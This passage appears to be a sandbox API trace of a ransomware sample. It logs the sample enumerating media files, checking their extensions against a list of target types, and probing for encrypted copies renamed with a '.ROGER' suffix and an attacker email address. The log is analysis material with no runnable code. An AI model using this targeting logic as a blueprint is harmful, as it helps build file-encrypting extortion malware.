lpString2=".png") returned -1 [0051.351] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png") returned 68 [0051.351] lstrlenW (lpString=".jpg") returned 4 [0051.351] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.351] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png") returned 68 [0051.351] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png") returned 68 [0051.351] lstrlenW (lpString=".doc") returned 4 [0051.352] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.352] lstrlenW (lpString=".docx") returned 5 [0051.352] lstrcmpiW (lpString1=".docx", lpString2="y.png") returned -1 [0051.352] lstrlenW (lpString=".pdf") returned 4 [0051.352] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.352] lstrlenW (lpString=".xls") returned 4 [0051.352] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.352] lstrlenW (lpString=".xlsx") returned 5 [0051.352] lstrcmpiW (lpString1=".xlsx", lpString2="y.png") returned -1 [0051.352] lstrlenW (lpString=".ppt") returned 4 [0051.352] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.352] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png") returned 68 [0051.352] lstrlenW (lpString=".zip") returned 4 [0051.352] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.352] lstrlenW (lpString=".rar") returned 4 [0051.352] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.352] lstrlenW (lpString=".bz2") returned 4 [0051.352] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.352] lstrlenW (lpString=".7z") returned 3 [0051.352] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.352] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png") returned 68 [0051.352] lstrlenW (lpString=".dbf") returned 4 [0051.352] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.352] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png") returned 68 [0051.352] lstrlenW (lpString=".1cd") returned 4 [0051.352] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.352] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png") returned 68 [0051.352] lstrlenW (lpString=".jpg") returned 4 [0051.352] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.352] lstrcmpiW (lpString1=".png", lpString2=".ROGER") returned -1 [0051.352] lstrlenW (lpString="rollinghills.png") returned 16 [0051.352] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0051.448] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=16842) returned 1 [0051.448] CloseHandle (hObject=0x388) returned 1 [0051.449] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png")) returned 0x20 [0051.449] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.449] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.449] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0051.449] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0051.449] lstrlenW (lpString=".doc") returned 4 [0051.449] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.449] lstrlenW (lpString=".docx") returned 5 [0051.449] lstrcmpiW (lpString1=".docx", lpString2="s.png") returned -1 [0051.449] lstrlenW (lpString=".pdf") returned 4 [0051.449] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.449] lstrlenW (lpString=".xls") returned 4 [0051.449] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.449] lstrlenW (lpString=".xlsx") returned 5 [0051.449] lstrcmpiW (lpString1=".xlsx", lpString2="s.png") returned -1 [0051.449] lstrlenW (lpString=".ppt") returned 4 [0051.449] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.449] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0051.449] lstrlenW (lpString=".zip") returned 4 [0051.449] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.449] lstrlenW (lpString=".rar") returned 4 [0051.449] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.449] lstrlenW (lpString=".bz2") returned 4 [0051.449] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.449] lstrlenW (lpString=".7z") returned 3 [0051.449] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.449] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0051.449] lstrlenW (lpString=".dbf") returned 4 [0051.450] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.450] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0051.450] lstrlenW (lpString=".1cd") returned 4 [0051.450] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.450] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0051.450] lstrlenW (lpString=".jpg") returned 4 [0051.450] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.450] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0051.450] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0051.450] lstrlenW (lpString=".doc") returned 4 [0051.450] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.450] lstrlenW (lpString=".docx") returned 5 [0051.450] lstrcmpiW (lpString1=".docx", lpString2="s.png") returned -1 [0051.450] lstrlenW (lpString=".pdf") returned 4 [0051.450] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.450] lstrlenW (lpString=".xls") returned 4 [0051.450] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.450] lstrlenW (lpString=".xlsx") returned 5 [0051.450] lstrcmpiW (lpString1=".xlsx", lpString2="s.png") returned -1 [0051.450] lstrlenW (lpString=".ppt") returned 4 [0051.450] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.450] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0051.450] lstrlenW (lpString=".zip") returned 4 [0051.450] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.450] lstrlenW (lpString=".rar") returned 4 [0051.450] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.450] lstrlenW (lpString=".bz2") returned 4 [0051.450] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.450] lstrlenW (lpString=".7z") returned 3 [0051.450] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.450] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0051.450] lstrlenW (lpString=".dbf") returned 4 [0051.450] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.451] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0051.451] lstrlenW (lpString=".1cd") returned 4 [0051.451] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.451] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0051.451] lstrlenW (lpString=".jpg") returned 4 [0051.451] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.451] lstrcmpiW (lpString1=".wmv", lpString2=".ROGER") returned 1 [0051.451] lstrlenW (lpString="Scenes_INTRO_BG_PAL.wmv") returned 23 [0051.451] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0051.452] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=261220) returned 1 [0051.452] CloseHandle (hObject=0x388) returned 1 [0051.452] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv")) returned 0x20 [0051.452] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.452] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.452] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned 72 [0051.452] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned 72 [0051.452] lstrlenW (lpString=".doc") returned 4 [0051.452] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0051.452] lstrlenW (lpString=".docx") returned 5 [0051.452] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0051.452] lstrlenW (lpString=".pdf") returned 4 [0051.452] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0051.452] lstrlenW (lpString=".xls") returned 4 [0051.452] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0051.452] lstrlenW (lpString=".xlsx") returned 5 [0051.452] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0051.452] lstrlenW (lpString=".ppt") returned 4 [0051.452] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0051.452] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned 72 [0051.452] lstrlenW (lpString=".zip") returned 4 [0051.452] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0051.453] lstrlenW (lpString=".rar") returned 4 [0051.453] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0051.453] lstrlenW (lpString=".bz2") returned 4 [0051.453] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0051.453] lstrlenW (lpString=".7z") returned 3 [0051.453] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0051.453] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned 72 [0051.453] lstrlenW (lpString=".dbf") returned 4 [0051.453] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0051.453] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned 72 [0051.453] lstrlenW (lpString=".1cd") returned 4 [0051.453] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0051.453] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned 72 [0051.453] lstrlenW (lpString=".jpg") returned 4 [0051.453] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0051.453] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned 72 [0051.453] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned 72 [0051.453] lstrlenW (lpString=".doc") returned 4 [0051.453] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0051.453] lstrlenW (lpString=".docx") returned 5 [0051.453] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0051.453] lstrlenW (lpString=".pdf") returned 4 [0051.453] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0051.453] lstrlenW (lpString=".xls") returned 4 [0051.453] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0051.453] lstrlenW (lpString=".xlsx") returned 5 [0051.453] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0051.454] lstrlenW (lpString=".ppt") returned 4 [0051.454] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0051.454] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned 72 [0051.454] lstrlenW (lpString=".zip") returned 4 [0051.454] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0051.454] lstrlenW (lpString=".rar") returned 4 [0051.454] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0051.454] lstrlenW (lpString=".bz2") returned 4 [0051.454] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0051.454] lstrlenW (lpString=".7z") returned 3 [0051.454] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0051.454] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned 72 [0051.454] lstrlenW (lpString=".dbf") returned 4 [0051.454] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0051.454] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned 72 [0051.454] lstrlenW (lpString=".1cd") returned 4 [0051.454] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0051.454] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned 72 [0051.454] lstrlenW (lpString=".jpg") returned 4 [0051.454] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0051.454] lstrcmpiW (lpString1=".wmv", lpString2=".ROGER") returned 1 [0051.454] lstrlenW (lpString="Scenes_LOOP_BG.wmv") returned 18 [0051.454] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0051.455] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=797322) returned 1 [0051.455] CloseHandle (hObject=0x388) returned 1 [0051.455] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv")) returned 0x20 [0051.455] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.455] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.455] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv") returned 67 [0051.455] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv") returned 67 [0051.455] lstrlenW (lpString=".doc") returned 4 [0051.455] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0051.455] lstrlenW (lpString=".docx") returned 5 [0051.455] lstrcmpiW (lpString1=".docx", lpString2="G.wmv") returned -1 [0051.455] lstrlenW (lpString=".pdf") returned 4 [0051.455] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0051.455] lstrlenW (lpString=".xls") returned 4 [0051.455] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0051.455] lstrlenW (lpString=".xlsx") returned 5 [0051.455] lstrcmpiW (lpString1=".xlsx", lpString2="G.wmv") returned -1 [0051.455] lstrlenW (lpString=".ppt") returned 4 [0051.455] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0051.455] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv") returned 67 [0051.455] lstrlenW (lpString=".zip") returned 4 [0051.455] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0051.456] lstrlenW (lpString=".rar") returned 4 [0051.456] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0051.456] lstrlenW (lpString=".bz2") returned 4 [0051.456] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0051.456] lstrlenW (lpString=".7z") returned 3 [0051.456] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0051.456] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv") returned 67 [0051.456] lstrlenW (lpString=".dbf") returned 4 [0051.456] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0051.456] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv") returned 67 [0051.456] lstrlenW (lpString=".1cd") returned 4 [0051.456] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0051.456] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv") returned 67 [0051.456] lstrlenW (lpString=".jpg") returned 4 [0051.456] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0051.456] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv") returned 67 [0051.456] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv") returned 67 [0051.456] lstrlenW (lpString=".doc") returned 4 [0051.456] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0051.456] lstrlenW (lpString=".docx") returned 5 [0051.456] lstrcmpiW (lpString1=".docx", lpString2="G.wmv") returned -1 [0051.456] lstrlenW (lpString=".pdf") returned 4 [0051.456] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0051.456] lstrlenW (lpString=".xls") returned 4 [0051.456] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0051.456] lstrlenW (lpString=".xlsx") returned 5 [0051.456] lstrcmpiW (lpString1=".xlsx", lpString2="G.wmv") returned -1 [0051.456] lstrlenW (lpString=".ppt") returned 4 [0051.456] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0051.456] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv") returned 67 [0051.456] lstrlenW (lpString=".zip") returned 4 [0051.456] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0051.457] lstrlenW (lpString=".rar") returned 4 [0051.457] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0051.457] lstrlenW (lpString=".bz2") returned 4 [0051.457] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0051.457] lstrlenW (lpString=".7z") returned 3 [0051.457] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0051.457] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv") returned 67 [0051.457] lstrlenW (lpString=".dbf") returned 4 [0051.457] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0051.457] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv") returned 67 [0051.457] lstrlenW (lpString=".1cd") returned 4 [0051.457] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0051.457] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv") returned 67 [0051.457] lstrlenW (lpString=".jpg") returned 4 [0051.457] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0051.457] lstrcmpiW (lpString1=".wmv", lpString2=".ROGER") returned 1 [0051.457] lstrlenW (lpString="Scenes_LOOP_BG_PAL.wmv") returned 22 [0051.457] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0051.457] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=869322) returned 1 [0051.457] CloseHandle (hObject=0x388) returned 1 [0051.458] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv")) returned 0x20 [0051.458] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.458] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.458] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv") returned 71 [0051.458] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv") returned 71 [0051.458] lstrlenW (lpString=".doc") returned 4 [0051.458] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0051.458] lstrlenW (lpString=".docx") returned 5 [0051.458] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0051.458] lstrlenW (lpString=".pdf") returned 4 [0051.458] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0051.458] lstrlenW (lpString=".xls") returned 4 [0051.458] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0051.458] lstrlenW (lpString=".xlsx") returned 5 [0051.458] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0051.458] lstrlenW (lpString=".ppt") returned 4 [0051.458] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0051.458] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv") returned 71 [0051.458] lstrlenW (lpString=".zip") returned 4 [0051.458] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0051.458] lstrlenW (lpString=".rar") returned 4 [0051.458] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0051.458] lstrlenW (lpString=".bz2") returned 4 [0051.458] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0051.458] lstrlenW (lpString=".7z") returned 3 [0051.458] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0051.458] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv") returned 71 [0051.458] lstrlenW (lpString=".dbf") returned 4 [0051.458] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0051.458] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv") returned 71 [0051.459] lstrlenW (lpString=".1cd") returned 4 [0051.459] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0051.459] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv") returned 71 [0051.459] lstrlenW (lpString=".jpg") returned 4 [0051.459] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0051.459] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv") returned 71 [0051.459] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv") returned 71 [0051.459] lstrlenW (lpString=".doc") returned 4 [0051.459] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0051.459] lstrlenW (lpString=".docx") returned 5 [0051.459] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0051.459] lstrlenW (lpString=".pdf") returned 4 [0051.459] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0051.459] lstrlenW (lpString=".xls") returned 4 [0051.459] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0051.459] lstrlenW (lpString=".xlsx") returned 5 [0051.459] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0051.459] lstrlenW (lpString=".ppt") returned 4 [0051.459] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0051.459] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv") returned 71 [0051.459] lstrlenW (lpString=".zip") returned 4 [0051.459] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0051.459] lstrlenW (lpString=".rar") returned 4 [0051.459] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0051.459] lstrlenW 